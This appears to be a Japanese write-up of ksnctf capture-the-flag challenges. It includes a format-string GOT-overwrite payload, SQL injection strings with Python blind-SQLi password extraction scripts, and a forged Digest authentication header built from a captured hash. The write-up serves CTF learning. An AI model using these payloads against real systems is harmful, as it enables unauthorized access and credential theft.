(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)

js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。 ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。

最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー

(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c

と同じとみなせます。さらに読み解くと、以下のようになことがわかります。

  • // で囲まれた部分は正規表現
  • a正規表現を表す変数で、 RegExp クラスのインスタンス
  • ab というプロパティを追加して値を代入
  • (/ᆞωᆞ/).c は変数 /ᆞωᆞ/ の存在しないプロパティを参照しているので、 undefined となる
  • ! をつけると bool に変換、 - をつけると数値に変換、と考えることができるので -!!undefined-0 となる
  • よって a.b には -0 が代入される

このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。

この調子で読んでいくのは大変なので、script タグの中身を unya.js として保存し node unya.js で実行します。すると、以下のようなエラーになります。 jQuery を import していないので $ が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。

undefined:2
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
^

ReferenceError: $ is not defined

吐かれたコードを読み解いてみます。

$(function(){
  $('form').submit(function(){
    var t=$('input[type="text"]').val();
    var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
    var f=false;
    if(p.length==t.length){
      f=true;
      for(var i=0; i<p.length; i++)
        if(t.charCodeAt(i)*(i+1)!=p[i])
          f=false;
      if(f)
        alert('(」・ω・)」うー!(/・ω・)/にゃー!');
    }
    if(!f)
      alert('No');
    return false;
  });
});

これは、フォームに与えられた文字列 t を1文字ずつ数値に変換したものが、 p の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような tp から逆に求めることができます。

var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var t_nums = p.map((n, i) => { return n / (i + 1); });
var t = String.fromCharCode(...t_nums);
console.log(t);

4. Villager A

問題概要

ssh の user と pass が与えられる。sshしてみると、 ~/ に以下のようなファイルが置いてある。

-r--------. 1 q4a  q4a    22 May 22  2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857 May 22  2012 q4
-rw-r--r--. 1 root root  151 Jun  1  2012 readme.txt

ポイント

  • print format attack(セキュリティコンテストチャレンジブック 2.4.2)
  • GOT overwrite(セキュリティコンテストチャレンジブック 2.4.2)

解法

結論から言うと、以下のように実行するとflagを得られます。

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは GOT overwrite ~ ksnctf #4 Villager A ~ に分かりやすい説明があるのでそちらを参照してください。

5. Onion

問題内容

すごく長い文字列が与えられます。

ポイント

解法

与えられた文字列は base64 っぽさが漂っています。そこでとりあえず base64 decode してみます。

echo [問題文] | base64 -D

すると少し短い文字列が出てきます。

この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。 例えば以下のようなスクリプトで繰り返しができます。もしくは、 echo "<問題文>" | base64 -D | base64 -D | ... のようにpipeをつないでいっても良いです。

s="<問題文>"
i=0
while [ ! -z $s ]; do
  echo "====="
  echo $i
  echo $s
  i=$(($i+1))
  s=$(echo $s | base64 -D)
done

16回目で以下の文字列が得られます。

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end

これは何でしょう。 begin 666 <data> でクグります。すると、これはどうやら uuencode されたデータだとわかります。

得られたデータをデコードするためには、ファイル名と最後から2行目を少しだけ修正して onion.txt として保存します。

begin 666 flag.txt
51DQ!1U]&94QG4#-3:4%797I74$AU
`
end

以下を shell で実行すると flag.txt にフラグが出力されます。

uudecode -i onion.txt

6. Login

問題概要

login フォームが与えられます。

ポイント

解法

まず、SQLインジェクションしてみます。 ' or 1=1 -- を入力すると、以下のようなHintが吐かれます。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:

<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

最初の数行にある通り、admin のパスワードを見つければいいようです。

どのようにすればadminのパスワードを見つけられるでしょうか? 先程やったように、SQLインジェクションを行えばある程度自由にSQLクエリを実行できます。 しかしながら、その実行結果を観測する方法は限られています。 SQLの実行結果をまるごとtable状にページに表示できれば楽ですが、そこまで甘くありません。 今回の場合、観測できるのは、実行したSQLに該当するレコードがあるかないか、です。 該当するレコードが存在しない場合、 "Login Failed" と表示されます。 該当するレコードが存在する場合、上記のHintが表示されます。 このどちらが表示されるかによって、実行したSQLに該当するレコードがあるかないかを知ることができます。

つまり、

  • SQLインジェクションによって適当なクエリを実行させて
  • 該当するレコードがあるかないかをレスポンスから判定する

ことを繰り返しながら、adminのパスワードを調べていきます。 このような手法は、ブラインドSQLインジェクションと呼ばれています。

まず、パスワードの長さを見つけます。

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(
        counter=i)
    payload = {
        'id': sql,
    }
    response = requests.post(url, data=payload)
    if len(response.text) >= 2000:
        # responseが2000文字以上ならHintが表示されている、つまり該当するレコードあり
        print('length of the password is {counter}'.format(counter=i))
        break

これで、パスワードの長さは21とわかります。

次に21文字のパスワードを1文字ずつ見つけていきます。SQLSUBSTR 句を使います。

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

password = ''
for index in range(1, pass_len + 1):
    for char_number in range(48, 123):
        char = chr(char_number)
        sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(
            index=index, char=char)
        payload = {
            'id': sql,
            'pass': ''
        }
        response = requests.post(url, data=payload)
        if len(response.text) > 2000:
            print(char, end="")
            password += char
            break

print()
print(password)

得られたパスワードがフラグです。

7. Programming

問題概要

謎のcppファイルが与えられる。

ポイント

解法

c++と見せかけて、実はWhitespaceという難解プログラミング言語ソースコードです。 Whitelips という、web上で実行できるWhitespaceのIDEがあるので、今回はこれを使います。 与えられたプログラムをコピペして実行してみます。 すると、画像のようになります。

f:id:gky360:20190423170355p:plain
問題のプログラムをWhitespaceのIDE上で実行する

PIN: と表示され、ユーザの入力待ちになります。 ここで、右側のアセンブリっぽいものに注目します。 readi で入力されたPINと 33355524 という謎の数値を sub で引き算して、その後の jz (= jump if zero) で label_0 に飛ぶかどうかを分岐しているような雰囲気があります。 つまり、 33355524 という数値を入力したときになにか特殊な処理が行われそうです。

実際に 33355524 を入力すると、 OK の表示の後にフラグが出力されます。

8. Basic is secure?

問題概要

pcapファイルが与えられます。

ポイント

解法

Basic 認証を知っていれば、タイトルとpcapファイルでピンとくるかもしれません。 もしくは、 HTTP/1.1 401 Authorization Required のレスポンスも、Basic 認証に関する通信を行っていると気づくポイントです。

Basic 認証だと気づいた後は、user:pass を送信しているリクエストを見つけます。今回は、 HTTP/1.1 401 Authorization Required の次のリクエストが該当するリクエストです。このリクエストのAuthorizationヘッダ部分のパスワードがフラグです。

ちなみに、Authorizationヘッダの文字列をbase64デコードすると <user>:<pass> という形式でユーザ名とパスワードが得られますが、wiresharkでpcapファイルを見ている場合は、wiresharkがデコード後の文字列も表示してくれるので楽です。

9. Digest is secure!

概要

pcapファイルが与えられる。

ポイント

  • Digest認証

解法

大きく分けて3ステップです。

  • Digest認証に関する問題だと気付く
  • httpでやり取りしたファイルを復元する
  • なりすましで認証を突破する

Digest認証に関する問題だと気付く

Digest認証を知っていれば、pcapファイルが与えられているという点と問題タイトルだけでピンとくるかもしれません。 そうでなくても、HTTP/1.1 401 Authorization Required のレスポンスの WWW-Authenticate ヘッダで気付くことができます。

Digest認証は replay attack が効かないので、pcapファイルのリクエストをそのまま再送するだけではだめです。 正規ユーザになりすまして、適切なリクエストを生成して送信する必要があります。

この問題はDigest認証のプロトコルを理解していることが求められるので、ここで少し補足します。

Digest認証の仕様は RFC2617 - HTTP Authentication: Basic and Digest Access Authentication で定義されています。 大まかな流れは以下の通りです。

  1. クライアントは認証が必要なページをリクエストする。
  2. サーバが 401 Authorization Required のレスポンスを返す。このとき、 realm nonce qop などといった値を WWW-Authenticate ヘッダに含めて返す。
  3. クライアントはユーザにユーザ名とパスワードの入力を求める。
  4. クライアントは cnonce と呼ばれるランダム文字列を生成し、後述の方法で responseハッシュ値を計算する。
  5. クライアントはサーバから送られた認証に関する情報とともに、ユーザ名とresponseをサーバに送信する。
  6. サーバがクライアントから受け取った値とサーバに格納されているハッシュ化されたパスワードから、正解の response を計算する。
  7. クライアントが送信した response とサーバが計算した正解値が一致すれば認証成功。一致しなければ 2. にもどる。

response は以下のように計算されます。

A1 = username ":" realm ":" passwd
A2 = Method ":" digest-uri
response = H( H(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" H(A2) )

ここで Hハッシュ関数です。それぞれの値の意味は以下の通りです。

  • username ... ユーザ名
  • realm ... 認証領域
  • passwd ... パスワード
  • Method ... HTTPのメソッド
  • digest-uri ... アクセスしたいページのURI
  • nonce ... サーバがランダムに設定する文字列
  • nc ... nonce-count。ある nonce 値に対して何回目のリクエストかを表す16進数。
  • cnonce ... クライアントがランダムに設定する文字列
  • qop ... quality of protection。サーバが authauth-init を指定する。

httpでやり取りしたファイルを復元する

wiresharkを使って、httpでやり取りされたファイルを復元します。 File > Export objects > HTTP で復元できます。 wiresharkすごいです。

以下の5つのファイルが復元されます。

ここで注目すべきは、 ~q9 (2回目) と htdigest です。

~q9 (2回目) の中身を読むと、 /~q9/flag.html にフラグがあるということが分かります。

<!DOCTYPE html>
  <head>
    <meta charset="utf-8">
    <title>Q9</title>
  </head>
  <body>
    <p>Congratulations!</p>
    <p>The flag is <a href="flag.html">here</a>.</p>
  </body>
</html>

htdigest ファイルには、謎のハッシュ値が記録されています。

q9:secret:c627e19450db746b739f41b64097d449

これは何でしょう? htdigest ファイルには、 <ユーザ名>:<realm>:H(<ユーザ名>:<realm>:<パスワード>) という形式でユーザ名と暗号化されたパスワードが保存されています。 したがって今回の場合、 c627e19450db746b739f41b64097d449 = H(A1) ということになります。

なりすましで認証を突破する

さて、pcapファイルのhttpリクエスト/レスポンスや htdigest ファイルの内容から、Digest認証に関連する変数の値が以下の通りだと分かります。 ただし、 cnonce は自分で適当にランダム値を設定しました。 algorithmMD5なので、 echo -n GET:/~q9/flag.html | md5 などとすれば H(A2) を計算できます。 nonce はリクエストのたびに変わるので、以降の値はあくまで一例です。

algorithm = MD5
H(A1) = c627e19450db746b739f41b64097d449
nonce = hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0
nc = 00000001
cnonce = 0a4f113b
qop = auth
A2 = GET:/~q9/flag.html
H(A2) = ffffdd8b8029499600f95a69beb239c2

この場合の response は以下のコマンドで計算できます。 echo-n オプションをつけないと最後の改行も含めてハッシュ値が計算されてしまうので注意です。

echo -n c627e19450db746b739f41b64097d449:hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0:00000001:0a4f113b:auth:ffffdd8b8029499600f95a69beb239c2 | md5

ということで、今回設定すべき response78f9ce00939ab5d93d65b458bf34c381 となります。 GET http://ctfq.sweetduet.info:10080/~q9/flag.html リクエストの Authorization ヘッダに下記の文字列を設定して送信すると、フラグを含んだhtmlファイルをゲットできます。

Digest username="q9", realm="secret", nonce="hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0", uri="/~q9/flag.html", algorithm=MD5, response="78f9ce00939ab5d93d65b458bf34c381", qop=auth, nc=00000001, cnonce="0a4f113b"

10. #!

問題概要

そのまま引用

What's this? ↓

#!/usr/bin/python
print "Hello world"

The flag is FLAG_S?????? (in capital letters).

ポイント

  • シェバン

解法

#! の名称を答えればいいだけ。